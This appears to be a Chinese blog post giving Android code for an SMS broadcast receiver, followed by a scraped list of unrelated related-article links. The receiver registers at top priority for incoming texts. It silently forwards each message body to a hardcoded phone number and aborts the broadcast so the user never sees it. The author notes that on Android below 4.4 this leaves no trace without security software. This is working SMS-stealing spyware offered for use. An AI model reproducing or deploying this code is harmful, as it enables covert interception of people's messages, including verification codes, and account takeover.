android工程

SMSReceiver.Java

<strong><span style="font-size:18px;">package com.example.systembroadcastreceiver;import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;//短信息接收器
public class SMSReceiver extends BroadcastReceiver{@Overridepublic void onReceive(Context context, Intent intent) {Bundle bundle=intent.getExtras();Object[] objs=(Object[])bundle.get("pdus");//pdu是单元数据传输协议,s是复数//获得短信息管理器实例SmsManager manager=SmsManager.getDefault();//遍历短信息内容for(int i=0;i<objs.length;i++){//通过SMSMessage的静态方法createFromPdu对每条信息进行格式转换SmsMessage message=SmsMessage.createFromPdu((byte[])objs[i]);//获取号码String address=message.getOriginatingAddress();//获取内容String body=message.getDisplayMessageBody();Log.v("TAG", address+"发来信息:"+body);//通过短信息管理器发送短消息manager.sendTextMessage("139745*****", null, body, null, null);}abortBroadcast();}</span><span style="font-size:18px;">}
</span></strong>

注册以及获取权限

<strong><span style="font-size:18px;"> <!-- 接收短息到达的广播接收器 --><receiver android:name=".SMSReceiver"><intent-filter android:priority="1000"><action android:name="android.provider.Telephony.SMS_RECEIVED"/></intent-filter></receiver></application><!-- 如果要接收短信到达广播,那么必须拥有RECEIVE_SMS权限 --><uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 如果要发送短信息,那么必须拥有SEND_SMS --><uses-permission android:name="android.permission.SEND_SMS"/></span></strong>

收到短信的时候会被转发到139745*****,如果是4.4版本以下,是不会留下痕迹的(如果不装安全软件),在4.4版本以后谷歌进行了完善,在转发的时候会留下痕迹

突然意识到一个严重的问题:千万不要得罪程序员

基于BroadCastSend的短信转发相关推荐

  1. Tasker 短信转发微信,所有通知转发微信

    前言 快速写一篇,不想花太多时间,不是详细教程,导入就完了. 准备 一台能看片的安卓手机(至少安卓5.0). 安装好Tasker(版本越新越好,目前5.9.3 beta3). 权限给足,自启,白名单, ...

  2. 24、短信登录(基于redis实现短信登录)

    短信登录(基于redis实现短信登录) 修改代码(之前的基于session) 发送验证的逻辑:(更改就是将短信验证码存到redis中) 第一步:注入SrtingRedisTemplate (users ...

  3. Redis框架(三):大众点评项目 基于Session的短信登录

    大众点评项目 基于Session的短信登录 需求:基于Session实现短信验证登录 基于Session的短信登录 发送手机验证码 实现登录 (注意MyBatisP的接口使用) 新的问题 Spring ...

  4. Qt编写物联网管理平台43-告警短信转发

    一.前言 系统在运行过程中,会实时采集设备的数据,当采集到的数据发生报警后,可以将报警信息以短信的形式发送给指定的管理员(可以是多个),这样管理员就算不在现场,也能第一时间知道哪里发生了报警,可以紧急 ...

  5. Tasker短信转发

    需要开启权限(在权限管理中)与监听功能(在系统设置的辅助功能中) (1)添加事件: 点击右下角的 + ----> 事件 ----> 电话 ----> 收到短信 ----> 不做 ...

  6. android 短信转发设置权限,用Tasker实现Android手机短信转发到钉钉

    ​ 之前的一篇文章[<用Tasker实现Android手机短信转发到微信>](https://taskerm.com/2018/12/22/forwarded-sms-to-wechat. ...

  7. 如何通过短信转发在iPad和Mac上发送和接收短信

    从iOS 7开始,Apple提供了文本转发服务,可以将通过iPhone的蜂窝网络接收的SMS消息推送到其他Apple设备. 使用同一网络,转发服务还允许您将iPad或Mac上的消息发送到其他电话号码, ...

  8. 魔方APP项目-06-用户注册,完成短信验证码的校验、基于Celery实现短信异步发送、用户登录,jwt登陆认证、服务端提供用户登录的API接口

    一.用户注册- 1.完成短信验证码的校验 application.utils.language.message,代码: class ErrorMessage():ok = "ok" ...

  9. python短信接口_基于 python 的短信接口调用代码示例模板

    阅信短信验证码平台最近会从新梳理基于不同语言的短信接口调用代码示例,是为了迎合市面上现在流行的各个语言代码实现,也是为了能够更好的服务满足客户的不同层次的需求. 下面的代码是基于 python 的短信 ...

最新文章

  1. linux压缩图片脚本,说明Ubuntu压缩图片脚本批量方法
  2. CentOS7下搭建Nginx+PHP7的安装配置
  3. UA MATH524 复变函数6 Green定理与Green公式
  4. 单列表_正态分布检验(单样本K-S检验)
  5. 页面缓存处理的几种方法
  6. C# 8中的Async Streams
  7. AssertJ Fest Hamcrest
  8. zabbix3.2学习笔记(二):服务端安装
  9. Java虚拟机(四)——运行时数据区
  10. eclipse设置系统字体
  11. 用友U8远程接入解决方案用户手册下载
  12. 接口测试用例设计及模板
  13. 华为转正答辩ppt范文_华为新员工转正答辩
  14. 格力机器人图解_你所不知道的格力机器人战略
  15. 抖音壁纸小程序怎么做?教你开通和对接流量主拥有自己的小程序
  16. VUE中友盟统计的使用方法
  17. opencv实践中遇到的问题
  18. select2 取值 遍历 设置默认值
  19. 约四成的平板和智能手机用户看电视时“一心多用”
  20. FreeSWITCH 视频直播

热门文章

  1. 基于ghOSt用户调度器的环境搭建
  2. C#实现多语言切换详细教程(附源码)
  3. 怎样编写Apple Push Notification服务器
  4. 360(drizzleDumper)脱壳教程“某药数据”
  5. 小学学计算机学flash动画,flash动画教学计划
  6. UndeclaredThrowableException 详解
  7. 国产的工业Rfid有哪些品牌
  8. Bootstrap2和3的区别与选择指南
  9. DNF台服每天0点刷新角色创建限制数据库代码
  10. iconfont 使用